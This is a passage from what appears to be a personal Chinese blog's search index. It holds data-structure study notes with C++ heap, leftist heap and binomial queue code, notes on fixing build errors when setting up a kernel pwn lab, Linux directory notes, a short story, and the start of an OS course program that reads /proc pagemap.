H->Element[i].Key; i /= 2){Tmp = H->Element[i / 2];H->Element[i / 2] = H->Element[i];H->Element[i] = Tmp;}}void IncreaseKey(int P, int Add, PriorityQueue H)//提高关键字的值{int i,Child;ElementType Tmp;H->Element[P].Key += Add;for (i = P; 2 * i <= H->Size; i = Child){Child = 2 * i;if (Child != H->Size && H->Element[Child + 1].Key < H->Element[Child].Key)Child++;if (H->Element[i].Key > H->Element[Child].Key){Tmp = H->Element[Child];H->Element[Child] = H->Element[i];H->Element[i] = Tmp;}elsebreak;}}void Delete(int P,PriorityQueue H)//删除指定关键字{DecreaseKey(P, Max, H);DeleteMin(H);}\n\n    原理同上面的其他函数一样的,建议自己实现一下。\n左式堆Leftist Heap:    因为基础的堆结构由数组实现,所以并不支持合并等高级操作(有办法实现,但效率并不那么理想),为解决这些问题,左式堆提供了一些方案。\n    左式堆同样遵守最小堆的基本堆序——任意节点的关键字值低于其子树中的所有节点,但与之不同的是,左式堆的基本结构还包含了Npl(Null path length),即从该结点到达一个没有两个孩子的结点的最短距离。并要求:任意结点的左孩子的Npl大于或等于右孩子的Npl。\n声明部分:(函数对应的作用已经写在注释里了)\n//----------声明部分----------//typedef struct TreeNode* PriorityQueue;//节点指针struct TreeNode//节点结构{int Element;PriorityQueue Left;PriorityQueue Right;int Npl;//Null Path Length};PriorityQueue Initialize(void);//建立空堆PriorityQueue Merge(PriorityQueue H1, PriorityQueue H2);//合并堆(驱动例程)static PriorityQueue Merge1(PriorityQueue H1, PriorityQueue H2);//合并堆(实际例程)void SwapChildren(PriorityQueue H);(交换H的左右子树)PriorityQueue Insert1(int key, PriorityQueue H);//插入节点bool IsEmpty(PriorityQueue H);//是否为空堆PriorityQueue DeleteMin1(PriorityQueue H);//删除最小值//----------声明部分----------//\n\n建立空堆Initialize:\nPriorityQueue Initialize(void){PriorityQueue H;H = new TreeNode;H->Left = H->Right = NULL;H->Npl = 0;return H;}\n\n规定NULL的Npl为-1,则对任何一个没有两个子树的节点,其Npl为0。\n插入Insert:\nPriorityQueue Insert1(int key, PriorityQueue H){PriorityQueue SingleNode;SingleNode = new TreeNode;SingleNode->Element = key;SingleNode->Npl = 0;SingleNode->Left = SingleNode->Right = NULL;H = Merge(SingleNode, H);return H;}\n\n    区别于最小堆中的Insert函数,这里用的是Insert1。因为Insert没有返回值,也不需要返回值,所有那样做是没有问题的;但在左式堆中,将一个元素插入空堆时,需要返回新的根节点地址,所以应有一些区别。另外,这个函数首次出现了Merge函数。关于Merge函数将会放在最后,目前权且当它是一个合并两个堆,并返回新的根节点的函数即可。(目前我个人还不会写宏定义,但如果您已经学会了,不妨试着将Insert函数写成宏定义,书上是这样建议的)\n删除最小值Delete:\nPriorityQueue DeleteMin1(PriorityQueue H){if (IsEmpty(H))exit;PriorityQueue LeftHeap=H->Left, RightHeap=H->Right;delete H;return Merge(LeftHeap, RightHeap);}\n\n    因为左式堆和最小堆有着同样的结构,所以最小值同样都是根节点,所以例程非常的简洁也很清晰。已经没必要做其他解释了。\n合并堆Merge:\nPriorityQueue Merge(PriorityQueue H1, PriorityQueue H2)//驱动例程{if (H1 == NULL)return H2;if (H2 == NULL)return H1;if (H1->Element < H2->Element)return Merge1(H1, H2);elsereturn Merge1(H2, H1);}static PriorityQueue Merge1(PriorityQueue H1, PriorityQueue H2)//实际例程{if (H1->Left == NULL)H1->Left = H2;else{H1->Right = Merge(H1->Right, H2);if (H1->Left->Npl < H1->Right->Npl)SwapChildren(H1);H1->Npl = H1->Right->Npl + 1;}return H1;}void SwapChildren(PriorityQueue H)//交换子树{PriorityQueue Tmp;Tmp = H->Left;H->Left = H->Right;H->Right = Tmp;}\n\n    最后是关键的合并堆函数。Merge函数作为合并开始的入口被调用,而实现过程则放在Merge1函数中进行。SwapChildren函数是附带的,你当然也可以把它写在Merge1中。\n    对于没有图的过程描述,我觉得实在有些难以想象。这里引用书上的例子(尽管这个例子并不方便,但在某些地方能起到很好的范例)。\n\n\n     现在,不妨先假设根节点为3的堆为H1,另外一个为H2。现在将它们放入Merge(H1,H2)。注:以下所说的H1和H2是在不停的变动的,具体目标请以所指根节点为准。\n    经过一系列的比较,达到这行代码:\nH1->Right = Merge(H1->Right, H2);\n\n    ①将H1->Right指向 根节点为8的堆 与 H2 合并的结果。\n    同理,经过一系列的比较。现在,H1的根节点是6,H2的根节点是8。\n    ②再次遇到相同的情况,H1->Right指向 根节点为7的堆 与 H2(根节点为8的堆) 合并的结果。\n    再次经过一系列的比较。现在H1的根节点是7 ,H2的根节点是8。\n    ③同上,令H1->Right 指向 H1(根节点为18的堆) 与 H2(根节点为8的堆)合并 的结果。\n    上一行描述合并后的结果显而易见,只是将18放到了8的右儿子处罢了。然后返回新根 8 的地址。\n    现在,③行处的H1->Right指向新根 8。即 7->8。\n    判断Npl,并将左右子树进行一次交换。\n    以上内容实现了 根节点为3的右子树与 根节点为6的堆 的合并过程。\n    回到①行中方的H1->Right,其现在指向了新的根 6。判断Npl,再次旋转。\n    合并完成。\n    很多时候,即便我仔细地捋顺了递归操作的流程,它的可读性仍然相当糟糕……但如果不去捋顺过程,又没办法改进其操作,甚至有的时候连利用都做不到。对于我这种出入数据结构的萌新来说,可能只能多看看代码来适应这种生活吧……\n二项队列Binomial Queue:(以下不只是简介,还包括了一些个人理解,如果您学习过程遇到什么麻烦,不妨先看看)\n    根据书上的描述,似乎是左式堆的一种改良版。虽然左式堆和斜堆每次操作都花费logN时间,且有效支持了插入、合并与最小值出堆,但其每次操作花费常数平均时间来支持插入。而在二项队列中。每次操作的最坏情况运行时间为logN,而插入操作平均花费常数时间。这算是在一定程度上优化了斜堆。\n    其结构就如名字一样,是“二项”。我们可以将其简单理解为“上项”和“下项”(这只是为了方便理解罢了,实际运用中自然不存在这种称呼,但我总要找个名字给它,不然描述起来还挺费劲的)。实际的样子当您看到图片的时候就能明白,我为什么要那样称呼它们了。\n    并且,二项队列的样子也特殊一点。它是一种被称之为“森林”的结构,形象的说,它包括了许多中不同高度的二叉树(但每一种高度的树只有一颗,一旦出现两颗同样高度,它们就会被立刻合并成新的高度,这也是特色之一)。并且,它也有最小堆的特性,关键字的数值随高度递减,每一个根节点的值都比子树中任何一个节点的关键字小。\n\n    如图,这便算是一个简单的二项队列结构。上面是一个数组,数组中存放有指针。而下面的则是许多的树(剥去数组,你看到的才是真正的二项队结构,数组只是从计算机中实现的一种方法罢了。并且,B3中的那颗树和我们实际实现的有些不同,具体的情况后面会写。但目前,权且当它就长这个样吧(或许这才是本该有的结构,但计算机不方便这样做,所以之后会有另外一个实现的样子))\n//-------------声明部分---------------//typedef struct BinNode* Position;//位置指针typedef struct BinNode* BinTree;//树指针typedef struct Collection* BinQueue;//队列指针#define MaxTrees 5 //数组的长度,也同时规定了二叉树的高度#define Capacity ((1<<MaxTrees)-1)//容量是2^0+2^1+......+2^(MAXTREES-1)BinQueue Initialize(void);//建立空队列BinTree CombineTrees(BinTree T1, BinTree T2);//合并高度相同的树BinQueue Merge(BinQueue H1, BinQueue H2);//合并两个队列int DeleteMin(BinQueue H);void Insert(int X, BinQueue H);int IsEmpty(BinQueue H); struct BinNode //树节点{ int Key;Position LeftChild;Position NextSibling;};struct Collection //森林{int CurrentSize; //已容纳量BinTree TheTrees[MaxTrees];//容纳二叉树的数组};//-------------声明部分---------------//\n\n    因为书上没有说明一些变量的作用,所以我自己绕了一会,在这里顺便说明一下吧:\n    CurrentSize:已容纳量。指的是整个队列的节点数。比方说上图中的的容纳量就是15(对应总共15个节点)。\n    Capacity:队列容量。指的是一个二项队列结构最高能容纳的节点数。比方说上图的队列容量就是(B3——15)(也因为我画的不太好,所以B3看起来高度不像3,但会意一下就行,实在不行去找找其他大佬的图也行)。(但写法是一个等比数列求和结果,很明显,每个高度的节点数是等比增加的)\n    LeftChild/NextSibling:连接指针。这个东西具体到后面看见实际的图片时,自然会懂。\n\n这幅图为实际做出的结构,以下说明的时候请经常对照以方便理解。高度相同的节点我已经尽量画在同一水平线了,也如您所见,B1没有节点,B3的高度确实是3(建立在B0处的节点高度设定为0的基础上)。\n关于LeftChild和NextSibling指针已经标出(取首字母表示)。\n建立队列Initialize:\nBinQueue Initialize(void){BinQueue H = new Collection;for (int i = 0; i < MaxTrees; i++)H->TheTrees[i] = NULL;H->CurrentSize = 0;return H;}\n\n    没什么好说的,但因为书上没有,加上我当时不太明白几个参数的作用,所以绕了好一会,贴在这里以防万一。(至少如果不明白CurrentSize是什么,就没办法让它等于0了……)\n插入节点Insert:\nvoid Insert(int X, BinQueue H){BinQueue temp = initialize();temp->CurrentSize = 1;temp->TheTrees[0] = new BinNode;temp->TheTrees[0]->Key = X;temp->TheTrees[0]->LeftChild = NULL;temp->TheTrees[0]->NextSibling = NULL;Merge(H, temp);delete temp;}\n\n    从这个函数可以看出,所谓的插入节点,实际上是将新节点当作了一个只有B0结构的二项队列,然后将其合并。目前,我们只需要将Merge函数视作一个合并二项队列的函数即可,关于这个函数会在下面讲到。\n最小值出队DeleteMin:\nint DeleteMin(BinQueue H){int i, j;int MinTree;BinQueue DeleteQueue;Position DeleteTree, OldRoot;int MinItem;//ElementType if (IsEmpty(H))return NULL; MinItem=INFINITY;for (i = 0; i < MaxTrees; i++){if (H->TheTrees[i] && H->TheTrees[i]->Key < MinItem){MinItem = H->TheTrees[i]->Key;MinTree = i;}}DeleteTree = H->TheTrees[MinTree];OldRoot = DeleteTree;DeleteTree = DeleteTree->LeftChild;delete OldRoot; DeleteQueue = initialize();DeleteQueue->CurrentSize = (1 << MinTree) - 1;for (j = MinTree - 1; j >= 0; j--){DeleteQueue->TheTrees[j] = DeleteTree;DeleteTree = DeleteTree->NextSibling;DeleteQueue->TheTrees[j]->NextSibling = NULL;}H->TheTrees[MinTree] = NULL;H->CurrentSize -= (DeleteQueue->CurrentSize + 1);Merge(H, DeleteQueue);return MinItem;}\n\n    函数本身不算难,但有些冗长。姑且做些说明,但自己写出来是最有效的理解方式。\n    ①一系列将要用到的声明。其中MinItem是将要出堆的Key(因为我设定的Key是int类型),再将MinItem设定为无限大(Infinity)。\n    ②遍历队列数组,选出队列中最小的关键字节点。用MinTree标记其对应的索引,MinItem拷贝其数值。\n    ③将标记好的最小值节点拷贝到DeleteTree与OldRoot,再把DeleteTree指向其左儿子。删除最小值节点。\n    ④将刚才拷贝的左儿子新建到另外一个队列里,设定好相关的数值,最后把两个队列合并。\n    值得注意的是,for循环是将失去了根节点的堆重新整合到新队列中。这个操作看起来有些抽象,但实际上是可行的。不妨带入B3节点来试探一下,删去了根节点后,它被拆分成了B0,B1,B2三棵树进入新队列了。最开始的那幅图其实很好的说明了问题,那张图的B3有这明显的复制粘贴B2的痕迹,但事实就如描述一样,它们真的就是像复制粘贴一样的结构。所有你可以试着去拆分一下,Bk去掉根节点必然会变成B0,B1,B2……Bk-1颗树。\n    以及另外一个注意点:\nH->CurrentSize -= (DeleteQueue->CurrentSize + 1);\n\n    其实不太必要在这个地方纠结太久,但以防万一还是说明一下。这行代码减去的数量将在Merge函数中补齐,先后的总节点数差距确实是 1 ,可以自行验证一下。如果缺乏这条函数,Merge将会导致CurrentSize与实际不符。(之所以减去那个量,是因为Merge会补回DeleteQueue->CurrentSize的数量,和这段语句正好相差 1 )\n合并队列Merge:\nBinTree CombineTrees(BinTree T1,BinTree T2){if (T1->Key > T2->Key)return CombineTrees(T2, T1);T2->NextSibling = T1->LeftChild;T1->LeftChild = T2;return T1;}BinQueue Merge(BinQueue H1,BinQueue H2){BinTree T1, T2, Carry = NULL;int i,j;if (H1->CurrentSize + H2->CurrentSize > Capacity)exit;H1->CurrentSize += H2->CurrentSize;for (i = 0, j = 1; j <= H1->CurrentSize; i++, j *= 2){T1 = H1->TheTrees[i]; T2 = H2->TheTrees[i];switch(!!T1+2*!!T2+4*!!Carry){case 0://No treecase 1://only h1break;case 2://only h2H1->TheTrees[i] = T2;H2->TheTrees[i] = NULL;break;case 4://only carryH1->TheTrees[i] = Carry;Carry = NULL;break;case 3://h1 and h2Carry = CombineTrees(T1, T2);break;case 5://h1 and carryCarry = CombineTrees(T1,Carry);H1->TheTrees[i] = NULL;break;case 6://h2 and carryCarry = CombineTrees(T2,Carry);H2->TheTrees[i] = NULL;break;case 7://h1 and h2 and carryH1->TheTrees[i] = Carry;Carry = CombineTrees(T1,T2);H2->TheTrees[i] = NULL;break;}}return H1;}\n\n    最后是关键性的合并函数Merge。这个例程还需要用到CombineTrees函数,用于合并高度相同的树。\n    函数本身并不是很复杂,用了一个switch来判断情况,这个方式相当有趣,是很值得学习的一种想法。(!!符号似乎是用来判断存在性的(我不太清楚这样描述对不对,所有用“似乎”),若值存在且非0,则返回1,否则返回0)。\n    以及比较有趣的是for循环的判断条件 j<=H1->CurrentSize 和 j*=2\n    看起来有些抽象,解释起来也是。\n    现在的H1->CurrentSize已经是合并结束后的总节点数量了,而这个数量直接关系到for循环需要抵达哪一个高度的数组格。(比如说,我的数组最高能到B20,但现在根本没有那么多树需要存放,最高的树高度只到B5,那如果全都扫一遍,岂不是浪费了很多时间?)\n    所有才有 j*=2这个条件来制约。如您所见,每个高度的节点数实际上是固定的 2^Bk(2的Bk次方,k指高度,如B0,B1等)。这就涉及到了一些数学关系,所有我就不写这了。只需要捋一捋,我想很快就会发现这神奇的操作(如果最高到B5,那这个for循环进行4次之后,它的 j 就会超出范围导致for循环终止)。\n    流程其实没必要细讲了,函数写的很清楚了,注释也有,笔记的目的已经达成了,那就到这吧。\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"Kernel Pwn环境搭建 可能遇到的问题","url":"/2021/12/13/kernel-pwn1/","content":"环境:Ubuntu18.04 / busybox-1.33.1 / linux-5.15.6\nbusybox无法编译:\n有人推荐使用ARM工具链,大概率是可行的,但也有给出对应的补丁以修复编译报错-https://bugs.gentoo.org/708350\n内核编译错误: .config 中下述该行注释掉即可\nCONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/benh@debian.org.cert.pem"\n\n(注:也可以参考wiki中的教程通过签名验证也能正确编译)\n搭建教程可参考:\nhttps://www.cjovi.icu/pwnreview/1318.html\nhttps://n0va-scy.github.io/2020/06/21/kernel%20pwn%20%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/\n另:笔者试图在Ubuntu20上搭建相同环境,发现无论如何似乎都会出现意外情况,而在18下则没有类似状况发生,暂且搁置具体解决方案\n插画ID:67986353\n","categories":["Note","杂物间"],"tags":["kernel","pwn"]},{"title":"Linux学习笔记","url":"/2021/03/18/linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","content":"常规命令格式:command [-option] parameter1 parameter2 ……\n文件列表格式:\n[-rwxrwxrwx] 链接数 文件拥有者 所属用户组 文件大小 最后被修改时间 文件名\n第一节为十个字符,rwx分别表示“可读”“可写”“可执行”,后九个分别表示三个用户组所拥有的权限。第一个字符表示文件类型(d-目录/“-”-文件/l-链接文件/b-设备/c-端口设备/)\n常用命令:(仅指明存在该命令,具体用法和参数使用man手册均可获得)\nman:man手册,查阅命令作用\ndate:显示当前时间与日期\nlocale:语言体系输出\ncal:显示日历\nls:列出当前目录下的文件及相关信息\nchmod:修改文件权限(r-4,w-2,x-1)\nchgrp:修改用户组\nchown:修改拥有者\ncd:切换目录\nmkdir/rmdir:建立新目录/删除一个空目录\ntouch:建立空文件\npwd:显示当前目录\ncp/rm/mv:复制/删除/移动 文件(mv 可用于重命名,对于没有rename命令的系统可替代)\nFHS目录标准规定的Linux目录功能规范:必须存在的目录\n目录\n应放置档案内容\n/bin\n系统有很多放置执行档的目录,但/bin比较特殊。因为/bin放置的是在单人维护模式下还能够被操作的指令。在/bin底下的指令可以被root与一般帐号所使用,主要有:cat,chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。\n/boot\n主要放置开机会使用到的档案,包括Linux核心档案以及开机选单与开机所需设定档等等。Linux kernel常用的档名为:vmlinuz ,如果使用的是grub这个开机管理程式,则还会存在/boot/grub/这个目录。\n/dev\n在Linux系统上,任何装置与周边设备都是以档案的型态存在于这个目录当中。 只要通过存取这个目录下的某个档案,就等于存取某个装置。比要重要的档案有/dev/null, /dev/zero, /dev/tty , /dev/lp*, / dev/hd*, /dev/sd*等等\n/etc\n系统主要的设定档几乎都放置在这个目录内,例如人员的帐号密码档、各种服务的启始档等等。 一般来说,这个目录下的各档案属性是可以让一般使用者查阅的,但是只有root有权力修改。 FHS建议不要放置可执行档(binary)在这个目录中。 比较重要的档案有:/etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/等等。 另外,其下重要的目录有:/etc/init.d/ :所有服务的预设启动script都是放在这里的,例如要启动或者关闭iptables的话: /etc/init.d/iptables start、/etc/init.d/ iptables stop/etc/xinetd.d/ :这就是所谓的super daemon管理的各项服务的设定档目录。/etc/X11/ :与X Window有关的各种设定档都在这里,尤其是xorg.conf或XF86Config这两个X Server的设定档。\n/home\n这是系统预设的使用者家目录(home directory)。 在你新增一个一般使用者帐号时,预设的使用者家目录都会规范到这里来。比较重要的是,家目录有两种代号: ~ :代表当前使用者的家目录,而 ~guest:则代表用户名为guest的家目录。\n/lib\n系统的函式库非常的多,而/lib放置的则是在开机时会用到的函式库,以及在/bin或/sbin底下的指令会呼叫的函式库而已 。 什么是函式库呢?妳可以将他想成是外挂,某些指令必须要有这些外挂才能够顺利完成程式的执行之意。 尤其重要的是/lib/modules/这个目录,因为该目录会放置核心相关的模组(驱动程式)。\n/media\nmedia是媒体的英文,顾名思义,这个/media底下放置的就是可移除的装置。 包括软碟、光碟、DVD等等装置都暂时挂载于此。 常见的档名有:/media/floppy, /media/cdrom等等。\n/mnt\n如果妳想要暂时挂载某些额外的装置,一般建议妳可以放置到这个目录中。在古早时候,这个目录的用途与/media相同啦。 只是有了/media之后,这个目录就用来暂时挂载用了。\n/opt\n这个是给第三方协力软体放置的目录 。 什么是第三方协力软体啊?举例来说,KDE这个桌面管理系统是一个独立的计画,不过他可以安装到Linux系统中,因此KDE的软体就建议放置到此目录下了。 另外,如果妳想要自行安装额外的软体(非原本的distribution提供的),那么也能够将你的软体安装到这里来。 不过,以前的Linux系统中,我们还是习惯放置在/usr/local目录下。\n/root\n系统管理员(root)的家目录。 之所以放在这里,是因为如果进入单人维护模式而仅挂载根目录时,该目录就能够拥有root的家目录,所以我们会希望root的家目录与根目录放置在同一个分区中。\n/sbin\nLinux有非常多指令是用来设定系统环境的,这些指令只有root才能够利用来设定系统,其他使用者最多只能用来查询而已。放在/sbin底下的为开机过程中所需要的,里面包括了开机、修复、还原系统所需要的指令。至于某些伺服器软体程式,一般则放置到/usr/sbin/当中。至于本机自行安装的软体所产生的系统执行档(system binary),则放置到/usr/local/sbin/当中了。常见的指令包括:fdisk, fsck, ifconfig, init, mkfs等等。\n/srv\nsrv可以视为service的缩写,是一些网路服务启动之后,这些服务所需要取用的资料目录。 常见的服务例如WWW, FTP等等。 举例来说,WWW伺服器需要的网页资料就可以放置在/srv/www/里面。呵呵,看来平时我们编写的代码应该放到这里了。\n/tmp\n这是让一般使用者或者是正在执行的程序暂时放置档案的地方。这个目录是任何人都能够存取的,所以你需要定期的清理一下。当然,重要资料不可放置在此目录啊。 因为FHS甚至建议在开机时,应该要将/tmp下的资料都删除。\n可与根目录分开的目录:\n/etc:配置文件\n/bin:重要执行档\n/dev:所需要的装置文件\n/lib:执行档所需的函式库与核心所需的模块\n/sbin:重要的系统执行文件\n建议可以存在的目录:\n/home:系统默认的用户家目录。:代表目前用户的家目录/dmtsai:代表dmtsai的家目录\n/lib:存放与/lib不同格式的二进制函数库\n/root:系统管理员的家目录。\n目录\n应放置文件内容\n/lost+found\n这个目录是使用标准的ext2/ext3档案系统格式才会产生的一个目录,目的在于当档案系统发生错误时,将一些遗失的片段放置到这个目录下。 这个目录通常会在分割槽的最顶层存在,例如你加装一个硬盘于/disk中,那在这个系统下就会自动产生一个这样的目录/disk/lost+found\n/proc\n这个目录本身是一个虚拟文件系统(virtual filesystem)喔。 他放置的资料都是在内存当中,例如系统核心、行程资讯(process)(是进程吗?)、周边装置的状态及网络状态等等。因为这个目录下的资料都是在记忆体(内存)当中,所以本身不占任何硬盘空间。比较重要的档案(目录)例如: /proc/cpuinfo, /proc/dma, /proc/interrupts, /proc/ioports, /proc/net/*等等。呵呵,是虚拟内存吗[guest]?\n/sys\n这个目录其实跟/proc非常类似,也是一个虚拟的档案系统,主要也是记录与核心相关的资讯。 包括目前已载入的核心模组与核心侦测到的硬体装置资讯等等。 这个目录同样不占硬盘容量。\n /var 的意义与内容:\n如果/usr是安装时会占用较大硬盘容量的目录,那么/var就是在系统运作后才会渐渐占用硬盘容量的目录。 因为/var目录主要针对常态性变动的文件,包括缓存(cache)、登录档(log file)以及某些软件运作所产生的文件, 包括程序文件(lock file, run file),或者例如MySQL数据库的文件等等。常见的次目录有:\n目录\n应放置文件内容\n/usr/X11R6/ \n为X Window System重要数据所放置的目录,之所以取名为X11R6是因为最后的X版本为第11版,且该版的第6次释出之意。 \n/usr/bin/ \n绝大部分的用户可使用指令都放在这里。请注意到他与/bin的不同之处。(是否与开机过程有关) \n/usr/include/ \nc/c++等程序语言的档头(header)与包含档(include)放置处,当我们以tarball方式 (*.tar.gz 的方式安装软件)安装某些数据时,会使用到里头的许多包含档。 \n/usr/lib/ \n包含各应用软件的函式库、目标文件(object file),以及不被一般使用者惯用的执行档或脚本(script)。 某些软件会提供一些特殊的指令来进行服务器的设定,这些指令也不会经常被系统管理员操作, 那就会被摆放到这个目录下啦。要注意的是,如果你使用的是X86_64的Linux系统, 那可能会有/usr/lib64/目录产生 \n/usr/local/ \n统管理员在本机自行安装自己下载的软件(非distribution默认提供者),建议安装到此目录, 这样会比较便于管理。举例来说,你的distribution提供的软件较旧,你想安装较新的软件但又不想移除旧版, 此时你可以将新版软件安装于/usr/local/目录下,可与原先的旧版软件有分别啦。 你可以自行到/usr/local去看看,该目录下也是具有bin, etc, include, lib…的次目录 \n/usr/sbin/ \n非系统正常运作所需要的系统指令。最常见的就是某些网络服务器软件的服务指令(daemon) \n/usr/share/ \n放置共享文件的地方,在这个目录下放置的数据几乎是不分硬件架构均可读取的数据, 因为几乎都是文本文件嘛。在此目录下常见的还有这些次目录:/usr/share/man:联机帮助文件/usr/share/doc:软件杂项的文件说明/usr/share/zoneinfo:与时区有关的时区文件\n/usr/src/ \n一般原始码建议放置到这里,src有source的意思。至于核心原始码则建议放置到/usr/src/linux/目录下。\n","categories":["Note"]},{"title":"泯痕卸负","url":"/2021/02/07/obliteratingtraces/","content":" 此刻,独自伫立于雨中的他,被锁在了积水交汇的低洼。雨丝从天空坠落,将他的皮肤寸寸割裂,数不清的鲜红于寒雨坠落处喷涌,最后一并汇聚于脚下。疼痛、疲乏,它们一并交融聚合,然后溃灭消散。\n 长久以来,这座荒凉的小镇已经被遗弃了不知道多少年。在岁月的无情冲刷下,没有人能够再次想起这里,就连旧迹也在时光折磨之下逐渐溢散。也许在不久的将来,小镇就会从这荒唐的故土消失吧。\n 寒风过境,掀起阵阵沙土,似要以此淹没小镇。远方,孤身一人的旅者行走在这片荒凉的土地上。寒风刮起一阵尘土,将旅人的视线遮蔽。他用手挡下迎面扑来的风沙,透过指缝,将视线投向了寒风远去的方向,于土丘被掀开的空隙,一座孤镇映入瞳孔。在它将要消逝的最后一刻,迎来了它的最后一名旅人。\n 寒风催促着旅人快些进入古镇,可旅人却始终迈着沉重的步伐缓步前行着。他的背上背负了太多行李。此生积累的所有错误与已经腐烂的尸骸,他都不舍得丢弃。本就举步维艰,却能够拖着沉重的步伐移动,真是十分了不起的觉悟。凭借着心中的执着,他踏入了这座古镇的最后一刻。\n 旅人一生见证过许多断壁残垣,可单论压抑感,却无一处可及这里。尽管有些地方要远比这里来得破败,可其中流露出的感情,却无一能够渗透皮肤,攥紧心脏。沿街观察,净是些破败的矮屋。每当寒风挂过,那些破损的窗户都会吱吱作响,声音如泣如诉,令人难以自持。可却仅此而已了,他寻遍了大街小巷,此地仅剩下了些残损的破屋与满地的黄沙。不论是曾经生活在古镇的人们,又或是后来抛弃了古镇的人们,他们曾于此地生活的任何旧迹一概消失的无影无踪,他们生命的痕迹更不曾刻在这座荒镇。\n 小镇就这样,孤零零的坐在荒凉的故土上,不知过了多少年,早些时候的玩伴也都消逝了。它宛如风烛残年的老者,仅剩下最后一口气,为最后一位旅人展现最后一刻的风景……\n 可风雨不允许它如此作为,即便这是其生命中最后一次求乞。\n 干燥的空气逐渐湿润,被黄沙遮蔽的天空如今为乌云所替代。狂风开始肆意呼啸,有意嘲笑小镇如今这副不堪入目的模样。它不断求饶,苦苦央求着风雨再晚一点,再慢一点。可又有谁要聆听将死的它的央求?寒风更加肆意猖獗。它横冲直撞,将仅剩的破屋掀翻,将歪曲的构架拆解。而暴雨随之降临,席卷寒风破坏后的废墟,将废墟刺穿、清扫。\n 它将会在风雨中分崩离析,在悔恨中落下帷幕吧。\n 旅人战栗地驻足于街道中央,眼眶被泪水充斥,心中的恐惧蜂屯蚁聚。即便如此,目睹着小镇迎来终焉的他,仍然想要施以援手。当心念萌生的时刻,他所受的殃及变为了同罪。\n 宛如钢针般锋锐的雨水从天而坠,划破手臂上的皮肤,让鲜血渗出毛孔,紧接着便是更加凶残的虐杀。暴雨倾泻而下,雨丝刺穿了这幅枯干,可从他身体里流出的却是暗红色污秽。无法触及的愿望若是能从一开始就没有诞生,旅人又能否免去这毫无意义的苦难呢?至少,此刻难以忍受剧痛的旅人想要逃开这场浩劫,想要躲进小镇,让这座废墟为自己遮风挡雨。可他却迈不出步伐……\n 暴雨倾注而下,将旅人的全身浸透,旅人身上的负重也随之剧增。本就举步维艰,如今更是连站立都十分困难,更何况在雨中的徒步。但他所背负的东西,却是他无论如何也不愿舍弃的宝物。他舍不得将它们丢弃在这,让他们同小镇一起溃灭。于是,旅人被重负与风雨束缚在原地,双脚被生锈的铁链锁在中心,脚底积聚的雨水开始将他淹没……\n 雨水渐渐交汇,并于旅人的脚底聚成水洼。暗红色的鲜血从他的身体里涌出,将水洼染为暗红。从伤口中蔓延出的疼痛让旅人难以忍受,它们催促着旅人卸下重负,可唯独他自己不愿放弃,仍要然苦苦支撑。\n 摇晃、哀嚎,他们逐渐无法承受风雨摧残,开始摇摇欲坠。而雨水将会把一切破坏殆尽,任由他们如何坚持,都不容许有半点差池。\n 倾注而下的大雨开始了更加猛烈的摧残。锋锐的雨丝洞穿了旅人的躯壳,也将街道刺的千疮百孔。密集的雨丝汇聚在一起,宛如铡刀一般从天而落,将破屋的残骸切的支离破碎。狂风怒号,将碎片卷向高空,又任由它坠毁。而旅人的肩膀上也出现了骇人的血痕,表情因过度的疼痛而扭曲,双脚因乏力而颤抖。尽管旅人的愿望已然被摧毁,可他已经逃不出这场灾难了。悔改即是他最为无力的挣扎,任谁也不愿听他的忏悔。\n “咔嚓”\n 不知是何处断裂的声音骤然响起。旅人再也无法支起身体,双腿被沉重压垮,跪倒在暗红的水洼里,虚弱地喘息着。在这寒雨之下,存放在旅人的行囊里的沙漏已经破损,其中的沙砾渐渐被雨水浸透,伴着古镇一同迎来了黄昏。\n 森雨闪烁着寒芒,仍在他的身上留下密密麻麻的骇人的血孔。他的身体终于不堪重负,被压垮在水洼里。狂风撕咬着小镇的血肉,让它再无法继续维持自己的存在。旅人同样也被啃噬殆尽。尽管吞食这毫无营养的血肉没有任何意义,但在这荒凉的土地上却也不会再有别的美餐了。\n 血肉渐渐从枯干上被剥离,暴露出灰色的骨架;意识早在此前的苦难中被抹杀,留存下的仅剩肮脏的本能。身上的重负终是被他卸下,可谁都没有将它们断罪。是啊,它们同旅人和小镇一起消逝在时间的洪流里,所有的痕迹都被抹杀殆尽。又有谁是不能原谅的可怜虫呢?\n 雨停了,久久不见天日的故土终于重见天日。本应立于土丘之上的某物,如今却与土丘融为一体;本该有一位旅人来过此处,如今就连行囊也不见了踪影。即便乌云褪去,阳光洒在故土之上,也再无能够得见天空的旅人,与其所背负的沉重……\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"操作系统课程设计Record","url":"/2022/06/22/operating-system-record/","content":"用户程序:\n#include <stdio.h>#include <sys/syscall.h>#include <sys/types.h>#include <unistd.h>#include <fcntl.h> /* open */#include <stdint.h> /* uint64_t */#include <stdlib.h> /* size_t */#include <unistd.h> /* pread, sysconf */typedef struct { uint64_t pfn : 54; unsigned int soft_dirty : 1; unsigned int file_page : 1; unsigned int swapped : 1; unsigned int present : 1;} PagemapEntry;int pagemap_get_entry(PagemapEntry *entry, int pagemap_fd, uintptr_t vaddr){ size_t nread; ssize_t ret; uint64_t data; uintptr_t vpn; vpn = vaddr / sysconf(_SC_PAGE_SIZE); nread = 0; while (nread < sizeof(data)) { ret = pread(pagemap_fd, &data, sizeof(data) - nread, vpn * sizeof(data) + nread); nread += ret; if (ret <= 0) { return 1; } } entry->pfn = data & (((uint64_t)1 << 54) - 1); entry->soft_dirty = (data >> 54) & 1; entry->file_page = (data >> 61) & 1; entry->swapped = (data >> 62) & 1; entry->present = (data >> 63) & 1; return 0;}int virt_to_phys_user(uintptr_t *paddr, pid_t pid, uintptr_t vaddr){ char pagemap_file[BUFSIZ]; int pagemap_fd; //读取对应进程地址映射 snprintf(pagemap_file, sizeof(pagemap_file), "/proc/%ju/pagemap", (uintmax_t)pid); pagemap_fd = open(pagemap_file, O_RDONLY); if (pagemap_fd < 0) { return 1; } PagemapEntry entry; //条目获取 if (pagemap_get_entry(&entry, pagemap_fd, vaddr)) { return 1; } close(pagemap_fd); *paddr = (entry.pfn * sysconf(_SC_PAGE_SIZE)) + (vaddr % sysconf(_SC_PAGE_SIZE)); return 0;}int main(void) { setbuf(stdout, 0); int a = 